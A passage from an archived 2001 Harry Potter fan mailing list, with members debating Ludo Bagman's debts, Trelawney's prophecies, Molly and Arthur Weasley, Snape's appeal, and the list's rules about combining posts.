take the Cup?", which should he choose?

Cindy wrote:

> It can't be just that Bagman didn't honor his
> bet with F&G. That hardly seems substantial 
> enough to support a blackmail threat.

I thought it was. It might dent Bagman's popularity (which is really the
only thing he has going for him) to be shown ROBBING underage children.
Also, in the Regency Romances I used to read, gambling debts were called
'debts of honor' and failure to pay them was a big shame and disgrace,
while debts to merchants and landlords and servants were a big joke.

When Voldemort mentioned the three absent Death Eaters, one too cowardly
to come, one who has left forever, one doing the Dark Lord's work at
Hogwarts, and I didn't know about Crouch Jr at that time, I thought
Bagman was either the first or the third.

Manda wrote:

> I think we've already seen one American school. 
> In GoF  when Harry, Ron, and Hermione are going
> for water at the campground, it says they saw a 
> bunch of American witches under a sign that said
> Salem Witches' Institute. 

Witch's Institute is a pun on Women's Institute. The California Women's
Institute is the state prison for women in Tehachapi, but in Britain,
the Women's Institute is a club for housewives. I can't think of a US
equivalent that isn't connected to some religion,  like Hadassah or the
various Protestant churches' Women's Alliances.

scareyfairymary wrote:

> I *really* hope Harry and Cho get together (for good).

I agree with you that Cho is a Nice Person, and I believe she also is
intelligent (she IS a Ravenclaw). I'd rather see Harry get together with
her than with Hermione (at least they'd have Quidditch in common) but it
will take quite a while for her to get over Cedric: I believe she was
already 'going with' or 'going steady with' Cedric BEFORE the Yule Ball,
and her regret  at turning down Harry's invitation was only because she
hated to hurt his (or anyone's) feelings. I have written some fanfic (in
my folder at HPff) which sets this up.

Laura wrote:

> But what are the Snape Fans seeing that I am missing?  

Well, even in Book 1, he is clearly very intelligent, he has a sense of
poetry (as in his praise of the subtle beauty of potions), he clearly
has very strong feelings (altho' mainly of hatred and resentment at that
time), and he clearly has been emotionally wounded. Heal the emotional
wounds and wash the hair ("he needs the love of a good woman and a
shampoo") and you've got yourself quite a man.  Many women have romantic
fantasies of being 'rescuers' of embittered, cynical men -- 'like
Rochester' said my friend, but I have not read JANE EYRE.

Mindy wrote:

> the british gov't probably views the magical community as
> a group of oddballs, idiots, weirdos, and crackpots, and
> doesn't give them a moment's thought. 

Except if the gov't really understands that the magical community can do
real magic, that works, they will be seeking magical solutions to their
problems.

------------------------------------------------------------------
  Pepperwood, thunderbird down, seven inches
------------------------------------------------------------------
R ighteous
A ttractive
V ictorious
E ager
N atural
C lassy
L echerous
A mazing
W ise
------------------------------------------------------------------

          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((



From klhurt at yahoo.com  Wed Sep  5 05:11:46 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Tue, 4 Sep 2001 22:11:46 -0700 (PDT)
Subject: [HPforGrownups] Re: The Third Task Audience
In-Reply-To: <9n39u8+ljjl@eGroups.com>
Message-ID: <20010905051146.6699.qmail@web14203.mail.yahoo.com>

No: HPFGUIDX 25597

No book handy, but is it not possible that the Cup was a portkey
through space AND time so that no one knew that Harry & Cedric had been
missing?  The fact that he didn't seem to have been away might explain
why Fudge believed Rita Skeeter was right in describing Harry as
disturbed.

Kelly the Yarn Junkie

=====
Pensieve
A New Harry Potter Discussion Group
for Adults
Low Traffic - High Quality
http://groups.yahoo.com/group/pensieve

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From caliburncy at yahoo.com  Wed Sep  5 05:22:07 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Wed, 05 Sep 2001 05:22:07 -0000
Subject: Rules of Divination and Trelawney
In-Reply-To: <9n3gcr+gqir@eGroups.com>
Message-ID: <9n4cpv+i5lh@eGroups.com>

No: HPFGUIDX 25598

First, a quick note on the Rules of Divination thread:

--- In HPforGrownups at y..., magpie1112 at y... wrote:
> Professor Trelawney's prediction (the true one, I mean) comes on her 
> quite by surprise.  She drifts into a trance and makes her 
> prediction, and then can't remember it after she comes to.  She may 
> have been prodded by the crystal ball, but it seems like a totally 
> separate occurrence.

Right.  What I meant by medium wasn't necessarilly a physical object 
or aid, but just any sort of "go-between" that seperates the concious 
person from their predictions (don't know if I explained that 
properly).  So I included in the list I made the trance you mentioned 
and also prescient dreams as media.  My intention was to seperate 
these from regular conversation which is neither subconcious (like the 
one kind of media: trances and dreams) nor using a physical aid (like 
the other kind of media).

**********

Now on to Trelawney debate: True Seer or Actress with Over-sized 
Glasses and Bangles on her Wrists. . . 

First off, I should say that I may have overstated myself in the Grim 
analysis.  What I meant by fraud was not that she is a TOTAL fraud, 
but that everything she did was an act except for the two correct 
predictions referred to by Dumbledore.  (Please wait before you point 
out that this isn't provable--I know that and I'll explain why a 
couple sentences from now).  Of course these two correct predictions 
make her not a fraud--she must have some true seer ability--but on a 
day to day basis she is a fraud.  But more importantly, the reason I 
declared her a fraud in that analysis is not because that represented 
my personal beliefs, but because, mechanically speaking, I think we as 
readers are supposed to accept that as regards the Grim.  For purpose 
of the analysis, I tried to do everything from the assumption of what 
we as the readers are supposed to think.  So even when some people 
might draw different conclusions, I have tried to put what I perceive 
to be the intended conclusion--how else to ilustrate the way an author 
manipulates the reader?  I myself frequently drew slightly different 
conclusions (not just about Trelawney but from the foreshadowing), but 
for me to put those there would not be the point.

My personal opinion (not without some sort of basis in canon, but 
lacking truly conclusive evidence) is that Professor Trelawney is a 
true seer who doesn't realize that she is one and therefore has all 
this time been putting on an act, without knowing that she really does 
possess an Inner Eye.  But I think her only real predictions may be 
the two referred to by Dumbledore.  Anything else she says that turns 
out to be true I think is probably true by "crafted coincidence", 
(meaning that she picked things to say that she knew were likely to 
happen or be true), "inverse reasoning" (sorry, bad title--but meaning 
that given a conclusion beforehand, people will often find a way to 
make the proof fit it before they try it the other way around--this is 
not in reference to us, though it could be as well, but to Trelawney's 
students) and the power of suggestion ("Ohh, what's really going to 
bake your noodle later on is, would you still have broken it if I 
hadn't said anything?" -- The Oracle, "The Matrix").  I'm not 100% 
firm in that conclusion, but that's my current stance.

As for her really seeing a dog (Sirius) and just misinterpreting it as 
a Grim, that could very well be true, but I don't know enough about 
JKR's rules for reading tea leaves to say one way or the other.  See, 
I would think, based on all the other things Trelawney says, that 
reading tea leaves is based purely on symbols--like Tarot cards.  So, 
for example, when she saw the falcon it would have to signify what the 
falcon symbolizes: a deadly enemy--it couldn't just be literally a 
falcon.  But later on she does see the Grim in the crystal ball, and 
crystal balls may very well give more literal, less symbolic visions. 
 So I don't know; I'm not making any judgments on this.

See, the real trouble here is that the only benchmark we have here for 
the rules of divination is Professor Trelawney herself and there's no 
unanimous agreement as to how reliable a benchmark she is.

For all we know, true seers normally only make a few predictions in 
their lifetime.  For all we know, the only true predictions from seers 
(not say, centaurs) arrive in the form of hypnotic trances and perhaps 
prescient dreams--and the rest of the mediums are just con-artist's 
derivations.  For all we know, there are oracular pigs in HP just like 
the Prydain Chronicles.  :)  I'm not saying any of these things are 
true, I'm just saying we really don't know much for certain about 
Divination yet, because our only basis for comparison is so 
questionable.

I agree that JKR has made Trelawney's status as a true seer or a fraud 
rather ambiguous, including her smaller predictions (those other than 
the two Dumbledore mentioned).  Certainly you could make a case that 
many of those were accurate, but you could also explain them 
effectively away to parlor tricks.  What I don't know is to what end 
JKR is making this ambiguous.  I could even make a case, perhaps not 
an excellent one, that she only intended it to be ambiguous in this 
novel and not have far-reaching consequences.  In fact, pretty much 
all I can say with certainty is Trelawney will come into play again, 
because there has to be some significance to when we find out what her 
first correct prediction is.  So hopefully then we'll get a better 
idea.  Or maybe not hopefully.  Because in a way there are some 
questions that are just better if you never find the truth.

-Luke




From kira at kc.rr.com  Wed Sep  5 05:25:12 2001
From: kira at kc.rr.com (Lisa-Ann Cooner)
Date: Wed, 5 Sep 2001 00:25:12 -0500
Subject: [HPforGrownups] Why Combine Posts?
In-Reply-To: <B7BAFEB9.102F%john@walton.to>
Message-ID: <LPBBLBCGMFANPNCGCOBJAEJGCIAA.Kira@kc.rr.com>

No: HPFGUIDX 25599

I feel it is more of a preference really.  I can't stand digests and feel
that such combined posts are more confusing than downloading 3 separate
e-mail messages.  And I find it easier to follow along on threads.  For
instance, this subject of a post was extremely long and bordered on the
ridiculous:  "Veritaserum/Memory Charm - Mindy/Cindy - Riddle/Voldemort -
Good/Evil - Bagman - Women's Institute - Cho - Snape lovers - Muggle gov't"
I might have wanted to read some of it but definitely did not want to slog
my way through all of it to find the parts I wanted to read.  So I just
delete all the multi-responses/mini-digest e-mail messages.  I really don't
miss all that much. By the time someone combines them that way, I have
usually exhausted my interest in those topics anyway.

Maybe another poll to find the current feeling on how to do this would be a
good idea?

Just my 2 cents.

LA
-----Original Message-----
From: John Walton [mailto:john at walton.to]
Sent: Tuesday, September 04, 2001 8:57 PM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] ADMIN: Re: Why Combine Posts? (was: Re: ADMIN:
Refresher)




The reason is that it cuts down on bandwidth lag time in two ways:




[Non-text portions of this message have been removed]




From oppen at cnsinternet.com  Wed Sep  5 05:42:52 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Wed, 5 Sep 2001 00:42:52 -0500
Subject: Molly Weasley, and the one scene that got to me in GoF...
Message-ID: <00d801c135cd$9bfb73c0$d0c71bce@hppav>

No: HPFGUIDX 25600

I like Molly Weasley a lot, not least for the way she bonded to Harry as the
"mother" he never had the chance to know---and, for the first time, Harry's
experiencing a mother's love, even though Molly's not his biological mother.
She's far more a mother to him, and a far better mother in every way, than
Petunia Dursley is to either Harry OR Dudley.  (My own guess is that about
five minutes after Harry hits the age of majority, Petunia Dursley is going
to get a visit from Molly Weasley, and there will be merry Hell to pay...oh,
I'd LOVE to see that!  I'd crawl a mile over broken glass, naked, to beg my
worst enemy for money to pay the bribes to let me in to see that!)

Harry had been holding up all through the Portkey, the cemetery, the duel
with the most feared wizard of his time, seeing Cedric Diggory die for no
reason other than "being the spare," witnessing all sorts of horrible
magic...but when Molly comforted him for the first time in his life, _this_
nearly broke his iron self-control!  This, alone, tells us a lot about just
how barren and bleak his life is chez Dursley, even if we didn't already
know about it from seeing him with that charming family.  (Whimpering
house-elf-style apologies for getting so fervent, but I _really *really*
REALLY_ dislike child-abusers...if Voldie were going after them instead of
Muggles and Muggle-borns, I'd be cheering and screaming and giving him
pointers.)

I agree with the people who've been saying that Molly W. is actually an
extremely powerful witch.  The thing is, we don't _know_ what she did before
she and Harry met...for all we know, she was actually a greatly respected
and feared Auror, working side-by-side with Mad-Eye Moody, who retired
because she'd fallen in love with a minor bureaucrat at the DoM, married,
found herself pregnant, and didn't want to risk her baby-to-be's life, even
though she'd been used to risking her own ten times a day.




From mellienel2 at yahoo.com  Wed Sep  5 06:28:21 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Wed, 05 Sep 2001 06:28:21 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n461k+d4e1@eGroups.com>
Message-ID: <9n4gm5+4fek@eGroups.com>

No: HPFGUIDX 25601


> 
> OK. As a self-professed and obvious Snapefan, I'm going to put 
> forward my humble opinion on the subject, which, of course, is my 
> favorite subjectmout of all the HP realm-- Snape.
>snip<
> We Snapefans are crazy about this greasy guy because he's 
enigmatic, 
> he's a great anti-hero, but he's also a "good guy". He's a fun 
> character to speculate about; dark and mysterious, but with hope 
for 
> redemption. He proves that the goodies don't necessarily have to be 
> generally kind and good-natured.

Lyda, that was poetic.

I am a reformed Snapefan -- and it's due to the fiction to which Lyda 
linked. RJA's stories make a very very very believable case for 
Snape's current appearance and cadence. She also dares to make him 
sexy, and, when we're good, clean.

I"m leaving the links right below....

> http://www.sugarquill.com/authors/rjanderson.html
> 
> and at http://www.fanfiction.net under author R.J. Anderson.
> 





From shall at sfiweb.demon.co.uk  Wed Sep  5 07:49:43 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Wed, 5 Sep 2001 08:49:43 +0100
Subject: [HPforGrownups] Re: The Case Against Ludo Bagman
In-Reply-To: <9n2ti2+anin@eGroups.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKOEFNDMAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 25602

Cindy said

>What
information could F&G have that would make for an effective
>blackmail?  It must be the bet on Harry.  It can't be just that
Bagman didn't honor his bet with F&G.  That hardly seems substantial
>enough to support a blackmail threat.

I don't agree.  A senior civil servant makes a bet in serious money (a
galleon is worth 5 according to JKR) with the minor children of a junior
civil servant and then welshes on it?  Pretty serious - until comparatively
recently in the British civil service it was a formal disciplinary matter
for a senior to *borrow* from a junior civil servant.  Anyway, F&G didn't
say they were going to blackmail him - Ron and Harry overheard one of them
say "We can't say that, it'll sound like blackmail":  I assumed what the
letter was going to read was something like "If you won't pay us, we'll tell
our father and ask him to raise it at a higher level in the ministry".

However, I do agree that the case against Bagman, while apparently
watertight on the surface, does not preclude his reappearance, and the
evidence of his helping Harry (although obviously Harry would be the
candidate on whom he could get the longest odds, and so make the largest
killing) is capable of two interpretations.

Susan






From mindyatime at juno.com  Wed Sep  5 11:42:30 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Wed, 5 Sep 2001 07:42:30 -0400
Subject: Combining Posts
Message-ID: <20010905.074318.-501715.41.mindyatime@juno.com>

No: HPFGUIDX 25603

Recently I started my own two yahoogroups (Not remotely related to HP!)
and as the list owner, I prefer to receive those as separate emails, as
there are not usually more than 25-50 posts a day. But my gosh, this HP
thingy, minimun 75 emails a day! It would take my Juno email program half
an hour to download all daily emails. For me, digests are the way to go,
for large yahoogroups like HP -- I come home to get 3 digests, and can
skim down to view only the titles that are relevant to me..... I don't
'hate' digests at all!



MINDY

Proud ListOwner of:  http://groups.yahoo.com/group/JewishMusic,
 For JewishMusic Fans everywhere
and http://groups.yahoo.com/group/MiamiBoysChoir
For Demented MiamiBoysChoir Nuts like me

________________________________________________________________
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Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.



From lotusmoondragon at aol.com  Wed Sep  5 12:51:36 2001
From: lotusmoondragon at aol.com (lotusmoondragon at aol.com)
Date: Wed, 5 Sep 2001 08:51:36 EDT
Subject: [HPforGrownups] Molly Weasley, and the one scene that got to me in GoF...
Message-ID: <16a.5ac3d0.28c779d8@aol.com>

No: HPFGUIDX 25604

In a message dated 9/5/2001 1:42:15 AM Eastern Daylight Time, 
oppen at cnsinternet.com writes:


> The thing is, we don't _know_ what she did before
> she and Harry met...for all we know, she was actually a greatly respected
> and feared Auror, working side-by-side with Mad-Eye Moody, who retired
> because she'd fallen in love with a minor bureaucrat at the DoM, married,
> found herself pregnant, and didn't want to risk her baby-to-be's life, even
> though she'd been used to risking her own ten times a day.
> 

Maybe it's just me, but I don't think Molly did anything before she got 
married. We know that she and Arthur knew each other from Hogwarts (remember 
her telling the story of getting yelled at by the Fat Lady in GoF?). I think 
they got married right after school, and started having children. 

Lotus


[Non-text portions of this message have been removed]




From cynthiaanncoe at home.com  Wed Sep  5 13:52:09 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Wed, 05 Sep 2001 13:52:09 -0000
Subject: Why Combine Posts?
In-Reply-To: <LPBBLBCGMFANPNCGCOBJAEJGCIAA.Kira@kc.rr.com>
Message-ID: <9n5am9+dasp@eGroups.com>

No: HPFGUIDX 25605

--- In HPforGrownups at y..., "Lisa-Ann Cooner" <kira at k...> wrote:
> Maybe another poll to find the current feeling on how to do this 
would be a
> good idea?
> 



Having been properly rebuked, I pledge to try to combine posts in the 
future (although I agree that this practice makes the discussions 
more difficult to follow).  But -- 

How does one go about combining posts?  As I type this right now on 
the message board, I only have the text of this one post to edit and 
to respond to.  Do the people who combine posts all use e-mail 
delivery?  Do they open multiple copies of Explorer?  How do they 
remember who said what and how do they lift portions of other posts 
to edit while they are replying to a post?  And what are these 
digests that Mindy speaks of?

Sorry I am such a non-techie, but perhaps if this were explained a 
bit, some of us (er, me) would be more capable of following the rules.

Cindy (who has things to say regarding other posts, but can't 
remember what they are now because she is busy writing this one)




From magpie1112 at yahoo.com  Wed Sep  5 13:57:13 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Wed, 05 Sep 2001 13:57:13 -0000
Subject: Arthur weasley's Secret (was Re: The Case Against Ludo Bagman)
In-Reply-To: <9n3djq+10gel@eGroups.com>
Message-ID: <9n5avp+7p9u@eGroups.com>

No: HPFGUIDX 25606

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> --- In HPforGrownups at y..., magpie1112 at y... wrote:
> > --- In HPforGrownups at y..., "Ali Wildgoose" <diagonalley_ at h...> 
> wrote:
> > > Cindy wrote:
> > > >Anyone else have an opinion?
> 
> 
> > Thanks for the thread, Cindy!  I figured Ludo was just a bit of 
> comic 
> > entertainment, but you have me all but convinced that something 
may 
> > be lurking beneath....
> > 
> > Denise (who is wondering if Mr. Weasley is the only MoM employee 
> > that doesn't have a secret)
> 
> Ah, but he does have a secret, which was foreshadowed in GoF.  
> Arthur Weasley is in reality an Unspeakable from the Department of
> Mysteries!  His cover is as a low level bureaucrat in the Ministry 
> of magic.   How else would he recognize fellow Unspeakables, who 
> should be very very secret agents?
> 
> Haggridd



Hagrid - Ah, Bon!

I KNEW we were gonna get into the DoM sooner or later!  So deep 
beneath that Clark Kent exterior lies the heart of a true superhero 
(of sorts)?  

Denise (now counting the seconds, instead of the minutes, until Book 
5)




From dfrankiswork at netscape.net  Wed Sep  5 14:11:41 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 05 Sep 2001 14:11:41 -0000
Subject: Arthur weasley's Secret 
In-Reply-To: <9n3djq+10gel@eGroups.com>
Message-ID: <9n5bqt+6ssb@eGroups.com>

No: HPFGUIDX 25607

"Haggridd" wrote:
> Ah, but he does have a secret, which was foreshadowed in GoF.  
Arthur 
> Weasley is in reality an Unspeakable from the Department of
> Mysteries!  His cover is as a low level bureaucrat in the Ministry 
of 
> magic.   How else would he recognize fellow Unspeakables, who 
should 
> be very very secret agents?

Ah, but then he wouldn't blow their cover to a group of children in 
that way - he'd either introduce them and himself properly as part of 
the war, or keep mum.

David






From magpie1112 at yahoo.com  Wed Sep  5 14:22:10 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Wed, 05 Sep 2001 14:22:10 -0000
Subject: Arthur Weasley's Secret
In-Reply-To: <032001c13584$bf21c0a0$a473f2d1@lisaannc>
Message-ID: <9n5cei+428a@eGroups.com>

No: HPFGUIDX 25608

Ahh Lisa-Ann, you'd think so.  However, I doubt that MoM employees 
would know who worked where (other than knowing the names of top 
officials in a particular Department and their own co-workers).  
Governmental bureaucracies are much more convoluted than that.  Once 
upon a time, I worked for the Government, and I couldn't tell you who 
worked down the hall, let alone who worked in another office.  

Of course you are correct with the office correspondence - but if 
wizards are as bureacratic as muggles (and if Fudge is any 
indication, they are) memos would go out to employees on a "need to 
know" basis.  And I'd guess a "secret-agent"/CIA type office (like 
the DoM) would keep their external correspondence to a bare minimum.


Denise (who is thinking that there may be more to the MoM than she 
once assumed....)


--- In HPforGrownups at y..., "Lisa-Ann Cooner" <kira at k...> wrote:
> Ah, but maybe, the MOM employees know who works in which 
departments, just not what the DoM does.  Because even though they 
may not see who goes into the office as employees can Apparate in and 
out, correspondence would have someone's name on it surely.
> 
> ----- Original Message ----- 
> From: Haggridd 
> Ah, but he does have a secret, which was foreshadowed in GoF.  
> Arthur Weasley is in reality an Unspeakable from the Department of
> Mysteries!  His cover is as a low level bureaucrat in the Ministry 
> of magic.   How else would he recognize fellow Unspeakables, who 
> should be very very secret agents?
> Haggridd
> 
> 
> [Non-text portions of this message have been removed]




From vderark at bccs.org  Wed Sep  5 14:23:43 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Wed, 05 Sep 2001 14:23:43 -0000
Subject: Why Combine Posts?
In-Reply-To: <9n5am9+dasp@eGroups.com>
Message-ID: <9n5chf+9aqu@eGroups.com>

No: HPFGUIDX 25609

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:> 
> How does one go about combining posts

There is no convenient way to do this when you use webview. I know, 
because that's the format I use too. The rule makes good sense, but 
it was not put in place by people who use web view and I don't think 
they thought about this problem. (I know, since I'm one of them, sort 
of.)

When I'm going to write a response to more than one topic, I usually 
just write more than one email. But I make sure that I'm not writing 
just a line or two. That's usually no problem for me, since I go on 
and on and on, even on the most mundane of topics. 

Just ask my students.

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From maryblue67 at yahoo.com  Wed Sep  5 14:42:59 2001
From: maryblue67 at yahoo.com (Maria)
Date: Wed, 5 Sep 2001 07:42:59 -0700 (PDT)
Subject: Clock in the wall at the Burrow - characters that women are crazy about
In-Reply-To: <999677517.784.4009.l10@yahoogroups.com>
Message-ID: <20010905144259.38653.qmail@web11103.mail.yahoo.com>

No: HPFGUIDX 25610

Hello again...

I haven't been at this list for a long time, so i don't
know if this has been discussed before. However, i noticed
something that i found interesting.

The first time Harry goes to the Burrow, in the CoS, he
goes in the kitchen and looks at everything around him,
discovering for the first time how a wizard house is. He
notices the clock in the wall, that "had only one hand and
no numbers at all. Written around the edge were things like
'time to make tea','time to feed the chickens' and 'you're
late'."

In GoF, in chapter 10, when Harry is at the Burrow again
after the World Cup, it says: "Mrs. Weasley glanced at the
grandfather clock in the corner. Harry liked this clock..
It was completely useless if you wanted to know the time,
but otherwise very informative.It had  nine golden hands,
and each of them was engraved with one of the Weasley
family's names.There were no numerals around the face, but
descriptions of where each family member might be. 'Home',
'School' and 'Work' were there, but there was also
'lost','hospital','prison' and, in the position where
number 12 would be in a normal clock, 'mortal peril'."

Are these two the same clock? or are they different ones?
Any comments on this?

Now, on a different topic, but since you request to include
different things in one longer message...

When Harry goes back to the Burrow in GoF, he finds two new
members of the Weasley family: Charlie and Bill. Since
Charlie was already gone when Harry first goes to howgarts,
he must be at least seven years older than Ron. And Bill
should at least be one year older than Charlie, perhaps
two. That means at when they first appear, Charlie must be
around 21, and Bill 22 or 23, at least (since we don't know
how long before they had left Hogwarts). I would even  bet
that they are at least one year older (Charlie being about
8 years older than Ron, if not more), because it kind of
surprises me that right after graduating he went to work
with dragons... i would at least expect him to do some
training before that, so perhaps we should allow one year
after Hogwarts before going ot Romania...
So, there are two young men, described as muscular and
good-natured in the case of charlie, cool, tall, modern...
i think i read between the lines also handsome, in the case
of Bill. I found them very very interesting. Young,
handsome and attractive. However, they don't seem to have a
big following. i know they don't appear as often as Lupin
or Sirius (which i also find very attractive), but still,
they are very interesting characters, and i'm sure they
will play a much more important role in future books. Any
comments on this too?

OK, that was my first big contribution to the discussion.
Hope you like it!!



=====
Maryblue
----------------------------------------------------------
"Gravitation cannot be held responsible for people falling
in love" - Eistein

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
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From Koinonia2 at hotmail.com  Wed Sep  5 14:50:27 2001
From: Koinonia2 at hotmail.com (Koinonia2 at hotmail.com)
Date: Wed, 05 Sep 2001 14:50:27 -0000
Subject: Arthur weasley's Secret & electrical stuff
In-Reply-To: <9n5bqt+6ssb@eGroups.com>
Message-ID: <9n5e3j+5nr4@eGroups.com>

No: HPFGUIDX 25611

--- In HPforGrownups at y..., dfrankiswork at n... wrote:
> "Haggridd" wrote:
> > Ah, but he does have a secret, which was foreshadowed in GoF.  
> Arthur 
> > Weasley is in reality an Unspeakable from the Department of
> > Mysteries!  His cover is as a low level bureaucrat in the 
Ministry 
> of 
> > magic.   How else would he recognize fellow Unspeakables, who 
> should 
> > be very very secret agents?


 
> Ah, but then he wouldn't blow their cover to a group of children in 
> that way - he'd either introduce them and himself properly as part 
of 
> the war, or keep mum.


It's possible Arthur is an Unspeakable.  Whether he is one or not, I 
wonder why in the world he would tell anyone who these people worked 
for if it was so top secret?

"From the Department of Mysteries, top secret, no idea what they get 
up to..."

I'm sure this was to introduce us to the fact that there is a top 
secret organization that we will hear of again. It's even possible 
that we will hear of Bode and Croaker again. Arthur should have just 
kept quiet *unless* he feels it is important for Harry to know that 
this department exists. 

I personally like Arthur Weasley and I think there is something about 
all those outlets (plugs?) he collects.  He has such an interest in 
electricity and in FB we are introduced to Chizpurfles.  

*In the absence of magic, Chizpurfles have been know to attack 
electrical objects from within (for a fuller understanding of what 
electricity is, see Home Life and Social Habits of British Muggles, 
Wilhelm Wigworthy, Little Red Books, 1987).  Chizpurfle infestations 
explain the puzzling failure of many relatively new Muggle electrical 
artifacts.*

Koinonia 

  





From magpie1112 at yahoo.com  Wed Sep  5 14:50:55 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Wed, 05 Sep 2001 14:50:55 -0000
Subject: Why Combine Posts?
In-Reply-To: <9n5am9+dasp@eGroups.com>
Message-ID: <9n5e4f+1upi@eGroups.com>

No: HPFGUIDX 25612

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., "Lisa-Ann Cooner" <kira at k...> wrote:
> > Maybe another poll to find the current feeling on how to do this 
> would be a
> > good idea?
> > 
> How does one go about combining posts?  
> Cindy (who has things to say regarding other posts, but can't 
> remember what they are now because she is busy writing this one)


I'm sorry - I know that you aren't supposed to post a message that 
just says "hear, hear!", but I have to chime in with Cindy.  I'm a 
hopeless mess when it comes to combining posts - is there a FAQ or a 
how-to for those of us who webview?  And in all honesty, if I tried 
to combine posts, that would mean (for me - and my hideous short term 
memory):

*  printing out the message I want to respond to
*  re-typing just enough of the prior posts to let others know what 
in the world I'm talking about
*  remember what moved me to respond in the first place
*  type it down

And that's a whole lot to ask of a bear of little brain.  I feel for 
those who get innundated with e-mails and/or have to wait for a War & 
Peace-sized Digest to download.  And I understand that we have over 
2000 members in this group now and things are getting a bit mad.  But 
the reason this group was created was to let HP fanatics talk amongst 
ourselves.  

I love this board and the people on it.  There has got to be a happy 
medium???


Denise (who will get down off her soapbox now)




From mellienel2 at yahoo.com  Wed Sep  5 14:51:29 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Wed, 05 Sep 2001 14:51:29 -0000
Subject: The Case Against Ludo Bagman
In-Reply-To: <NCBBLOIDFHFLKCOIHJBKOEFNDMAA.shall@sfiweb.demon.co.uk>
Message-ID: <9n5e5h+o5qt@eGroups.com>

No: HPFGUIDX 25613

--- In HPforGrownups at y..., "Susan Hall" <shall at s...> wrote:
> Cindy said
> 
> >What
> information could F&G have that would make for an effective
> >blackmail?  It must be the bet on Harry.  It can't be just that
> Bagman didn't honor his bet with F&G.  That hardly seems substantial
> >enough to support a blackmail threat.
> 

Also, no one said they were really blackmailing, or even had a good 
case -- they were just concerned that's how it would look. And it 
seems Ludo wasn't concerned they had a good enough case, or he would 
have paid them, or made some sort of restitution. It's all through 
Gred and Forge's eyes, and I think they were just worried.




From vderark at bccs.org  Wed Sep  5 15:12:12 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Wed, 05 Sep 2001 15:12:12 -0000
Subject: Clock at the Burrow
In-Reply-To: <20010905144259.38653.qmail@web11103.mail.yahoo.com>
Message-ID: <9n5fcc+dn68@eGroups.com>

No: HPFGUIDX 25614

--- In HPforGrownups at y..., Maria <maryblue67 at y...> wrote:
> 
> Are these two the same clock? or are they different ones?
> Any comments on this?

These are two separate clocks. One is in the kitchen, the other in 
the living room. You can read about both of them on the Artifacts 
page of the Lexicon:

http://www.i2k.com/~svderark/lexicon/artifacts.html

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From tabouli at unite.com.au  Wed Sep  5 15:17:51 2001
From: tabouli at unite.com.au (Tabouli)
Date: Thu, 6 Sep 2001 01:17:51 +1000
Subject: Posting rules, poll on Harry's ship, the Empress' New Medal
Message-ID: <008e01c1361f$52f10da0$1491aecb@price>

No: HPFGUIDX 25615

Penny:
> DO NOT post tons of messages each day; *COMBINE* your shorter replies 
> into a single message.  This helps keep our volume down!!
> Example: take a look at posts from long-time members Catlady (Rita), Amy 
> Z, Tabouli, Simon & others to see this done effectively
 
Oo!  I'm a role model!  For the record, I get the digests, and what I do is snip out excerpts to which I want to reply as I read and paste them in an empty message.  After I've read my daily quota, I fill in the blanks, cook up a subject line to fit, et voila!
 
Mary, re her support for a Cho/Harry ship:
> Anywho thats only my opinion (and judging by the poll, the only one with it!!!!)
 
Sad to say, I think Harry and Cho is a non-starter, but... 
 
Was there really an actual poll asking people which ship they thought Harry should climb aboard, so to speak?  (twinkles at the Morality Police).  If so, I'd be curious to see it.  If not, hey, computer types... how easy is it to set one up a la the MOVIE ballot?

Parker, quoting JKR:
"The ghoul, though ugly, is not a particularly dangerous creature.  It resembles a somewhat slimy, bucktoothed ogre, and generally resides in attics or barns belonging to wizards, where it eats spiders and moths."

It eats spiders?  Handy with the arachnophobic Ron in the house...

Luke:
*Disclaimer: True honor is intangible, being born only of heart and 
mind.  And, therefore, so is your medal.  Given the intangible 
contents, an intangible envelope was deemed equally appropriate.


Ah yes, you're right, I did miss this.  The medal arrived today, and all the adults that saw me wearing it told me it was lovely...
 
Tabouli.





[Non-text portions of this message have been removed]




From cynthiaanncoe at home.com  Wed Sep  5 15:32:41 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Wed, 05 Sep 2001 15:32:41 -0000
Subject: The Case Against Ludo Bagman/blackmail and gambling
In-Reply-To: <NCBBLOIDFHFLKCOIHJBKOEFNDMAA.shall@sfiweb.demon.co.uk>
Message-ID: <9n5gip+ig83@eGroups.com>

No: HPFGUIDX 25616

--- In HPforGrownups at y..., "Susan Hall" <shall at s...> wrote:
> Cindy said
> 
> >What
> information could F&G have that would make for an effective
